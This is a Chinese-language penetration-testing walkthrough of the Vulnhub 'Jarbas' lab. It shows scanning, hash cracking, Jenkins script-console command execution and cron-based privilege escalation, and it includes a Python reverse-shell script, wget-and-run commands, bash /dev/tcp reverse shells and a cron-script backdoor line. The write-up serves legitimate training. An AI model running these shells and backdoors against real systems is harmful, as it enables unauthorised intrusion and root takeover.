VULNHUB ----JARBAS
字数 1003 2025-08-10 19:49:11

Jarbas靶场渗透测试教学文档

靶场概述

Jarbas是一个来自Vulnhub的渗透测试练习靶场,包含多个漏洞点,适合练习从信息收集到提权的完整渗透流程。

信息收集阶段

网络扫描

使用Nmap进行网络扫描的基本命令:

# 主机发现
sudo nmap 192.168.239.0/24

# 全端口扫描
sudo nmap --min-rate 10000 -p- 192.168.239.136 -oA nmap_ports

# TCP服务版本扫描
sudo nmap -sT -sV -O -p22,80,3306,8080 192.168.239.136 -oA nmap_tcp

# UDP扫描
sudo nmap -sU -p22,80,3306,8080 192.168.239.136 -oA nmap_udp

# 漏洞脚本扫描
sudo nmap --script=vuln -p22,80,3306,8080 192.168.239.136 -oA nmap_script

扫描结果分析

发现开放端口:

  • 22端口:SSH服务
  • 80端口:HTTP服务
  • 3306端口:MySQL数据库
  • 8080端口:HTTP服务(Jenkins)

渗透优先级:80端口=8080端口 > 3306端口 > 22端口

Web渗透阶段

80端口分析

访问http://192.168.239.136:80,发现使用Jarbas框架,可搜索相关漏洞。

8080端口分析

访问http://192.168.239.136:8080,发现Jenkins后台登录界面。

检查robots.txt未发现有用信息。

目录爆破

使用工具进行目录爆破:

# 使用dirb
sudo dirb http://192.168.239.136

# 使用gobuster(更全面)
sudo gobuster dir -u http://192.168.239.136 -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -o gobuster -x html,php

发现有用页面:

  • /index.html
  • /access.html

在access.html页面发现三个用户凭据(MD5哈希):

tiago:5978a63b4654c73c60fa24f836386d87
trindade:f463f63616cb3f1e81ce46b39f882fd5
eder:9b38e2b1e8b12f426b0d208a7ab6cb98

密码破解

识别哈希类型为MD5,解密后得到:

  • tiago:italia99
  • trindade:vipsu
  • eder:marianna

测试发现使用eder:vipsu可以成功登录Jenkins后台。

获取Shell

方法1:Jenkins脚本控制台

访问http://192.168.239.136:8080/script,执行系统命令:

// 执行系统命令
println "ls -al".execute().text

// 写入webshell
new File("路径").write('')

方法2:反弹Shell

  1. 创建Python反弹脚本(1.py):
#!/usr/bin/python
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("攻击机IP",1111))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
  1. 在攻击机启动HTTP服务:
python3 -m http.server 80
  1. 通过Jenkins下载并执行:
// 下载脚本
println "wget http://攻击机IP/1.py -P /tmp/".execute().text

// 执行脚本
println "python3 /tmp/1.py".execute().text
  1. 攻击机监听:
sudo nc -lvnp 1111

方法3:直接反弹Shell

println "/bin/bash -i >& /dev/tcp/攻击机IP/4444 0>&1".execute().text

攻击机监听:

sudo nc -lvnp 4444

权限提升

检查定时任务

whoami
sudo -l
cat /etc/crontab

发现每5分钟执行一次/etc/script/CleaningScript.sh

利用定时任务提权

  1. 查看脚本内容:
cat /etc/script/CleaningScript.sh
# 原内容:rm -rf /var/log/httpd/access_log.txt
  1. 修改脚本添加反弹Shell:
echo "/bin/bash -i >& /dev/tcp/攻击机IP/2222 0>&1" >> /etc/script/CleaningScript.sh
  1. 攻击机监听新端口:
sudo nc -lvnp 2222
  1. 等待定时任务执行(最多5分钟),获得root权限shell。

获取Flag

cat flag.txt

总结

本靶场渗透流程:

  1. 信息收集:Nmap扫描发现开放服务
  2. Web渗透:目录爆破发现凭据,破解后登录Jenkins
  3. 获取Shell:通过Jenkins脚本控制台执行系统命令
  4. 权限提升:利用定时任务获取root权限
  5. 获取Flag

关键点:

  • 全面的信息收集是基础
  • 密码哈希识别与破解
  • Jenkins的多种利用方式
  • 定时任务提权技术
Jarbas靶场渗透测试教学文档 靶场概述 Jarbas是一个来自Vulnhub的渗透测试练习靶场,包含多个漏洞点,适合练习从信息收集到提权的完整渗透流程。 信息收集阶段 网络扫描 使用Nmap进行网络扫描的基本命令: 扫描结果分析 发现开放端口: 22端口:SSH服务 80端口:HTTP服务 3306端口:MySQL数据库 8080端口:HTTP服务(Jenkins) 渗透优先级:80端口=8080端口 > 3306端口 > 22端口 Web渗透阶段 80端口分析 访问http://192.168.239.136:80,发现使用Jarbas框架,可搜索相关漏洞。 8080端口分析 访问http://192.168.239.136:8080,发现Jenkins后台登录界面。 检查robots.txt未发现有用信息。 目录爆破 使用工具进行目录爆破: 发现有用页面: /index.html /access.html 在access.html页面发现三个用户凭据(MD5哈希): 密码破解 识别哈希类型为MD5,解密后得到: tiago:italia99 trindade:vipsu eder:marianna 测试发现使用eder:vipsu可以成功登录Jenkins后台。 获取Shell 方法1:Jenkins脚本控制台 访问http://192.168.239.136:8080/script,执行系统命令: 方法2:反弹Shell 创建Python反弹脚本(1.py): 在攻击机启动HTTP服务: 通过Jenkins下载并执行: 攻击机监听: 方法3:直接反弹Shell 攻击机监听: 权限提升 检查定时任务 发现每5分钟执行一次 /etc/script/CleaningScript.sh 。 利用定时任务提权 查看脚本内容: 修改脚本添加反弹Shell: 攻击机监听新端口: 等待定时任务执行(最多5分钟),获得root权限shell。 获取Flag 总结 本靶场渗透流程: 信息收集:Nmap扫描发现开放服务 Web渗透:目录爆破发现凭据,破解后登录Jenkins 获取Shell:通过Jenkins脚本控制台执行系统命令 权限提升:利用定时任务获取root权限 获取Flag 关键点: 全面的信息收集是基础 密码哈希识别与破解 Jenkins的多种利用方式 定时任务提权技术